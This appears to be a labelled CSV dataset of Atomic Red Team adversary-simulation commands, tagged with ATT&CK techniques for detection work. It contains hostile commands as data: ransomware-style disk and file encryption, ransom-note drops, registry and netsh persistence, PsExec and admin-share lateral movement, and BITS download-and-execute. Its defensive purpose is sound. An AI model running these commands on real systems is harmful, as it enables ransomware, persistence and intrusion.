4ff7669e3f33aaf169cc4e85,"Remove-Item -Path ""#{File_to_Encrypt_Location}"" -Force -ErrorAction SilentlyContinue Remove-Item -Path ""#{File_to_Encrypt_Location}.gpg"" -Force -ErrorAction SilentlyContinue","Remove-Item -Path ""#{File_to_Encrypt_Location}"" -Force -ErrorAction SilentlyContinue Remove-Item -Path ""#{File_to_Encrypt_Location}.gpg"" -Force -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Data Encrypted with GPG4Win,T1486,"[""T1486""]",windows,0.55,True,Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
baa62733dc7f3dbab560bec2,"""""%PROGRAMFILES%\dcrypt""\#{dcrypt_exe}""","""""%PROGRAMFILES%\dcrypt""\#{dcrypt_exe}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Data Encrypt Using DiskCryptor,T1486,"[""T1486""]",windows,0.9,False,"DiskCryptor, an open source encryption utility, can be exploited by adversaries for encrypting all disk partitions, including system partitions. This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/. The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor. During the installation process, running dcrypt.exe starts the encryption console. It's important to note ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7acf9c64e49ad1d985e6c5b8,del $env:Userprofile\Desktop\akira_readme.txt del c:\test.*.akira,del $env:Userprofile\Desktop\akira_readme.txt del c:\test.*.akira,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Akira Ransomware drop Files with .akira Extension and Ransomnote,T1486,"[""T1486""]",windows,0.55,True,"Dropping 100 files with random content and .akira File Extension and the Akira Ransomnote to c:\
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dede782ac553bebccc9b2609,"bash -c 'trap ""nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"" EXIT'","bash -c 'trap ""nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"" EXIT'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.005/T1546.005.yaml,Trap EXIT,T1546.005,"[""T1546.005""]","macos,linux",0.9,False,"Launch bash shell with command arg to create TRAP on EXIT.
The trap executes script that writes to /tmp/art-fish.txt
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cac764c043bea7733606e560,rm -f /tmp/art-fish.txt,rm -f /tmp/art-fish.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.005/T1546.005.yaml,Trap EXIT,T1546.005,"[""T1546.005""]","macos,linux",0.55,True,"Launch bash shell with command arg to create TRAP on EXIT.
The trap executes script that writes to /tmp/art-fish.txt
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
85d7bf1170501add48197b96,"bash -c 'trap ""nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"" SIGINT && kill -SIGINT $$'","bash -c 'trap ""nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"" SIGINT && kill -SIGINT $$'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.005/T1546.005.yaml,Trap SIGINT,T1546.005,"[""T1546.005""]","macos,linux",0.9,False,"Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.
The trap executes script that writes to /tmp/art-fish.txt
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f0afe72663a2a8f423cd0bef,"dir /s c:\ >> #{output_file} dir /s ""c:\Documents and Settings"" >> #{output_file} dir /s ""c:\Program Files\"" >> #{output_file} dir ""%systemdrive%\Users\*.*"" >> #{output_file} dir ""%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*"" >> #{output_file} dir ""%userprofile%\Desktop\*.*"" >> #{output_file} tree /F >> #{output_file}","dir /s c:\ >> #{output_file} dir /s ""c:\Documents and Settings"" >> #{output_file} dir /s ""c:\Program Files\"" >> #{output_file} dir ""%systemdrive%\Users\*.*"" >> #{output_file} dir ""%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*"" >> #{output_file} dir ""%userprofile%\Desktop\*.*"" >> #{output_file} tree /F >> #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,File and Directory Discovery (cmd.exe),T1083,"[""T1083""]",windows,0.9,False,"Find or discover files on the file system.  Upon successful execution, this test will output the results of all the data discovery commands to a specified file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cc475ab734a4469a76c8bd99,del #{output_file},del #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,File and Directory Discovery (cmd.exe),T1083,"[""T1083""]",windows,0.55,True,"Find or discover files on the file system.  Upon successful execution, this test will output the results of all the data discovery commands to a specified file.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
838240e7c26c682a7107bb29,ls -recurse get-childitem -recurse gci -recurse,ls -recurse get-childitem -recurse gci -recurse,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,File and Directory Discovery (PowerShell),T1083,"[""T1083""]",windows,0.9,False,"Find or discover files on the file system. Upon execution, file and folder information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c7016814fd719e9e2885d1b2,"ls -a >> #{output_file} if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi; file */* *>> #{output_file} cat #{output_file} 2>/dev/null find . -type f ls -R | grep "":$"" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' locate * which sh","ls -a >> #{output_file} if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi; file */* *>> #{output_file} cat #{output_file} 2>/dev/null find . -type f ls -R | grep "":$"" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' locate * which sh",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,Nix File and Directory Discovery,T1083,"[""T1083""]","linux,macos",0.9,False,"Find or discover files on the file system

References:

http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/

https://perishablepress.com/list-files-folders-recursively-terminal/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e6f9bf0ca8ee62aa555e0de7,rm #{output_file},rm #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,Nix File and Directory Discovery,T1083,"[""T1083""]","linux,macos",0.55,True,"Find or discover files on the file system

References:

http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/

https://perishablepress.com/list-files-folders-recursively-terminal/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d4412a69403839d2e66e419a,"cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file} if [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi; find . -type f -iname *.pdf >> #{output_file} cat #{output_file} find . -type f -name "".*""","cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file} if [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi; find . -type f -iname *.pdf >> #{output_file} cat #{output_file} find . -type f -name "".*""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,Nix File and Directory Discovery 2,T1083,"[""T1083""]","linux,macos",0.9,False,"Find or discover files on the file system
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
936cb04af96277f6f2cbc36c,remove-item #{File_to_output} -ErrorAction SilentlyContinue,remove-item #{File_to_output} -ErrorAction SilentlyContinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,Simulating MAZE Directory Enumeration,T1083,"[""T1083""]",windows,0.55,True,"This test emulates MAZE ransomware's ability to enumerate directories using Powershell.
Upon successful execution, this test will output the directory enumeration results to a specified file, as well as display them in the active window.
See https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
846e2c303121f95a97b74537,"Start-Process ""#{dirlister_path}"" Start-Sleep -Second 4 Stop-Process -Name ""DirLister""","Start-Process ""#{dirlister_path}"" Start-Sleep -Second 4 Stop-Process -Name ""DirLister""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,Launch DirLister Executable,T1083,"[""T1083""]",windows,0.9,False,"Launches the DirLister executable for a short period of time and then exits.

Recently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7176f5991574d3f69d3fd07b,"echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""","echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,ESXi - Enumerate VMDKs available on an ESXi Host,T1083,"[""T1083""]",windows,0.9,False,"An adversary uses the find command to enumerate vmdks on an ESXi host.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
999ca42621f2182a0d7034a9,findmnt -t nfs,findmnt -t nfs,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,Identifying Network Shares - Linux,T1083,"[""T1083""]",linux,0.9,False,"If the system uses network file systems (e.g., NFS, CIFS), findmnt can help locate paths to remote shares.
Attackers may then attempt to access these shares for lateral movement or data exfiltration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ffcd50e11b6ecaf69a3b6fa,"Remove-Item -Path ""#{output_file}"" -ErrorAction SilentlyContinue","Remove-Item -Path ""#{output_file}"" -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1083/T1083.yaml,Recursive Enumerate Files And Directories By Powershell,T1083,"[""T1083""]",windows,0.55,True,"Adversary attempting to discover and collect sensitive documents and archives
from a user’s system. The test recursively enumerates common user folders
(Documents, Downloads, Desktop, OneDrive) for file types of interest such as .pdf, .doc,
.docx, .xls, .xlsx, .txt, .zip, .rar, and .7z.
This behavior is similar to malware like LOSTKEYS used by COLDRIVER in January 2025,
where attackers perform targeted file discovery to support strategic intelligence collection https://www.zscaler.com/blogs/secu",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a7e01b6b6e8188db5c1e8b5,"cmd.exe /c ""net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}""","cmd.exe /c ""net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.002/T1021.002.yaml,Map admin share,T1021.002,"[""T1021.002""]",windows,0.9,False,"Connecting To Remote Shares
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43cda4b01d5e3558a21ca78d,New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name},New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.002/T1021.002.yaml,Map Admin Share PowerShell,T1021.002,"[""T1021.002""]",windows,0.9,False,"Map Admin share utilizing PowerShell
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2d07493db66189fee3cd2fa,"""#{psexec_exe}"" #{remote_host} -accepteula -c #{command_path}","""#{psexec_exe}"" #{remote_host} -accepteula -c #{command_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.002/T1021.002.yaml,Copy and Execute File with PsExec,T1021.002,"[""T1021.002""]",windows,0.9,False,"Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
25e077c3d061acead4ba73ac,cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1,cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.002/T1021.002.yaml,Execute command writing output to local Admin Share,T1021.002,"[""T1021.002""]",windows,0.9,False,"Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6809d0718aae871a9c6a7523,"mkdir $HOME/... cp $(which sh) $HOME/... $HOME/.../sh -c ""echo #{test_message}""","mkdir $HOME/... cp $(which sh) $HOME/... $HOME/.../sh -c ""echo #{test_message}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.005/T1036.005.yaml,Execute a process from a directory masquerading as the current parent directory,T1036.005,"[""T1036.005""]","macos,linux",0.9,False,"Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
103c97d015f6a0c8d6d66fcd,rm -f $HOME/.../sh rmdir $HOME/.../,rm -f $HOME/.../sh rmdir $HOME/.../,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.005/T1036.005.yaml,Execute a process from a directory masquerading as the current parent directory,T1036.005,"[""T1036.005""]","macos,linux",0.55,True,"Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9191b4cb6e0fcad3bda34048,"Add-Type -TypeDefinition @' public class Test { public static void Main(string[] args) { System.Console.WriteLine(""tweet, tweet""); } } '@ -OutputAssembly ""#{executable_filepath}"" Start-Process -FilePath ""#{executable_filepath}""","Add-Type -TypeDefinition @' public class Test { public static void Main(string[] args) { System.Console.WriteLine(""tweet, tweet""); } } '@ -OutputAssembly ""#{executable_filepath}"" Start-Process -FilePath ""#{executable_filepath}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.005/T1036.005.yaml,Masquerade as a built-in system executable,T1036.005,"[""T1036.005""]",windows,0.9,False,"Launch an executable that attempts to masquerade as a legitimate executable.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7d23a7d82e87becb00b2897,"Remove-Item -Path ""#{executable_filepath}"" -ErrorAction Ignore","Remove-Item -Path ""#{executable_filepath}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.005/T1036.005.yaml,Masquerade as a built-in system executable,T1036.005,"[""T1036.005""]",windows,0.55,True,"Launch an executable that attempts to masquerade as a legitimate executable.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
62dd1046f2cd4c15b4c942ef,"# Copy and rename cmd.exe to VEDetector.exe Copy-Item -Path ""#{source_file}"" -Destination ""#{ved_path}\VEDetector.exe"" -Force # Create registry run key for persistence New-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"" -Name ""VEDetector"" -Value ""#{ved_path}\VEDetector.exe"" -PropertyType String -Force # Start the renamed process Start-Process -FilePath ""#{ved_path}\VEDetector.exe"" Start-Sleep -Seconds 5","# Copy and rename cmd.exe to VEDetector.exe Copy-Item -Path ""#{source_file}"" -Destination ""#{ved_path}\VEDetector.exe"" -Force # Create registry run key for persistence New-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"" -Name ""VEDetector"" -Value ""#{ved_path}\VEDetector.exe"" -PropertyType String -Force # Start the renamed process Start-Process -FilePath ""#{ved_path}\VEDetector.exe"" Start-Sleep -Seconds 5",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.005/T1036.005.yaml,Masquerading cmd.exe as VEDetector.exe,T1036.005,"[""T1036.005""]",windows,0.9,False,"This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.

**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as s",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
791a11f0d19643aad25028d0,"# Remove registry key Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"" -Name ""VEDetector"" -ErrorAction SilentlyContinue # Stop the process Stop-Process -Name ""VEDetector"" -Force -ErrorAction SilentlyContinue # Remove the file Remove-Item -Path ""#{ved_path}\VEDetector.exe"" -Force -ErrorAction SilentlyContinue Write-Host ""[+] Cleaned up VEDetector artifacts""","# Remove registry key Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"" -Name ""VEDetector"" -ErrorAction SilentlyContinue # Stop the process Stop-Process -Name ""VEDetector"" -Force -ErrorAction SilentlyContinue # Remove the file Remove-Item -Path ""#{ved_path}\VEDetector.exe"" -Force -ErrorAction SilentlyContinue Write-Host ""[+] Cleaned up VEDetector artifacts""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.005/T1036.005.yaml,Masquerading cmd.exe as VEDetector.exe,T1036.005,"[""T1036.005""]",windows,0.55,True,"This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.

**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as s",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
86b99e6f973dda2495747cf5,"cscript ""#{jscript}"" > %tmp%\T1059.007.out.txt","cscript ""#{jscript}"" > %tmp%\T1059.007.out.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.007/T1059.007.yaml,JScript execution to gather local computer information via cscript,T1059.007,"[""T1059.007""]",windows,0.9,False,"JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\T1059.007.out.txt",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2f2ad8f91cf2841fee86cfb,del %tmp%\T1059.007.out.txt >nul 2>&1,del %tmp%\T1059.007.out.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.007/T1059.007.yaml,JScript execution to gather local computer information via cscript,T1059.007,"[""T1059.007""]",windows,0.55,True,"JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\T1059.007.out.txt",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
edd480682708c852f46dd487,"wscript ""#{jscript}""","wscript ""#{jscript}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.007/T1059.007.yaml,JScript execution to gather local computer information via wscript,T1059.007,"[""T1059.007""]",windows,0.9,False,"JScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df6167958f6c4193d034a0a9,"netsh.exe add helper ""#{helper_file}"" taskkill /im notepad.exe /t /f > NUL 2>&1","netsh.exe add helper ""#{helper_file}"" taskkill /im notepad.exe /t /f > NUL 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.007/T1546.007.yaml,Netsh Helper DLL Registration,T1546.007,"[""T1546.007""]",windows,0.9,False,"You can register a ""helper dll"" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36ede7d28c8af9b0dc9d1d43,"netsh.exe delete helper ""#{helper_file}""","netsh.exe delete helper ""#{helper_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.007/T1546.007.yaml,Netsh Helper DLL Registration,T1546.007,"[""T1546.007""]",windows,0.55,True,"You can register a ""helper dll"" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
29b60b626dc5aec0b91a93b6,bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file},bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1197/T1197.yaml,Bitsadmin Download (cmd),T1197,"[""T1197""]",windows,0.9,False,"This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bee187a25d49617df29b8513,del #{local_file} >nul 2>&1,del #{local_file} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1197/T1197.yaml,Bitsadmin Download (cmd),T1197,"[""T1197""]",windows,0.55,True,"This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
38241d28eb7b330b7006d9b4,Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file},Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1197/T1197.yaml,Bitsadmin Download (PowerShell),T1197,"[""T1197""]",windows,0.9,False,"This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload leveraging PowerShell

Upon execution you will find a github markdown file downloaded to the Temp directory
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
556281c2c155dc4812c7b833,Remove-Item #{local_file} -ErrorAction Ignore,Remove-Item #{local_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1197/T1197.yaml,Bitsadmin Download (PowerShell),T1197,"[""T1197""]",windows,0.55,True,"This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload leveraging PowerShell

Upon execution you will find a github markdown file downloaded to the Temp directory
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43c44deb8207c6e230d67f79,bitsadmin.exe /create #{bits_job_name} bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file} bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL bitsadmin.exe /resume #{bits_job_name} ping -n 5 127.0.0.1 >nul 2>&1 bitsadmin.exe /complete #{bits_job_name},bitsadmin.exe /create #{bits_job_name} bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file} bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL bitsadmin.exe /resume #{bits_job_name} ping -n 5 127.0.0.1 >nul 2>&1 bitsadmin.exe /complete #{bits_job_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1197/T1197.yaml,"Persist, Download, & Execute",T1197,"[""T1197""]",windows,0.9,False,"This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of ""svchost.exe"" and an Initiating Process Command Line of ""svchost.exe -k netsvcs -p -s BITS""",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
44b6d89d8638ca21ed7610c5,"set ""#{download_path}"" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr","set ""#{download_path}"" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1197/T1197.yaml,Bits download using desktopimgdownldr.exe (cmd),T1197,"[""T1197""]",windows,0.9,False,"This test simulates using desktopimgdownldr.exe to download a malicious file
instead of a desktop or lockscreen background img. The process that actually makes 
the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) 
and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ccfff0f5c61fc045ef221a6,del #{cleanup_path}\#{cleanup_file} >nul 2>&1,del #{cleanup_path}\#{cleanup_file} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1197/T1197.yaml,Bits download using desktopimgdownldr.exe (cmd),T1197,"[""T1197""]",windows,0.55,True,"This test simulates using desktopimgdownldr.exe to download a malicious file
instead of a desktop or lockscreen background img. The process that actually makes 
the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) 
and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f1e753cb91c5a7dfe009fef1,"""C:\Program Files\Oracle\VirtualBox\VBoxSVC.exe"" /reregserver regsvr32 /S ""C:\Program Files\Oracle\VirtualBox\VboxC.dll"" rundll32 ""C:\Program Files\Oracle\VirtualBox\VBoxRT.dll,RTR3Init"" sc create VBoxDRV binpath= ""C:\Program Files\Oracle\VirtualBox\drivers\VboxDrv.sys"" type= kernel start= auto error= normal displayname= PortableVBoxDRV sc start VBoxDRV","""C:\Program Files\Oracle\VirtualBox\VBoxSVC.exe"" /reregserver regsvr32 /S ""C:\Program Files\Oracle\VirtualBox\VboxC.dll"" rundll32 ""C:\Program Files\Oracle\VirtualBox\VBoxRT.dll,RTR3Init"" sc create VBoxDRV binpath= ""C:\Program Files\Oracle\VirtualBox\drivers\VboxDrv.sys"" type= kernel start= auto error= normal displayname= PortableVBoxDRV sc start VBoxDRV",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.006/T1564.006.yaml,Register Portable Virtualbox,T1564.006,"[""T1564.006""]",windows,0.9,False,"ransomware payloads via virtual machines (VM). 
[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1d022186f1c28b002c0db5d0,"sc stop VBoxDRV sc delete VBoxDRV regsvr32 /u /S ""C:\Program Files\Oracle\VirtualBox\VboxC.dll"" msiexec /x ""#{msi_file_path}"" /qn","sc stop VBoxDRV sc delete VBoxDRV regsvr32 /u /S ""C:\Program Files\Oracle\VirtualBox\VboxC.dll"" msiexec /x ""#{msi_file_path}"" /qn",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.006/T1564.006.yaml,Register Portable Virtualbox,T1564.006,"[""T1564.006""]",windows,0.55,True,"ransomware payloads via virtual machines (VM). 
[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
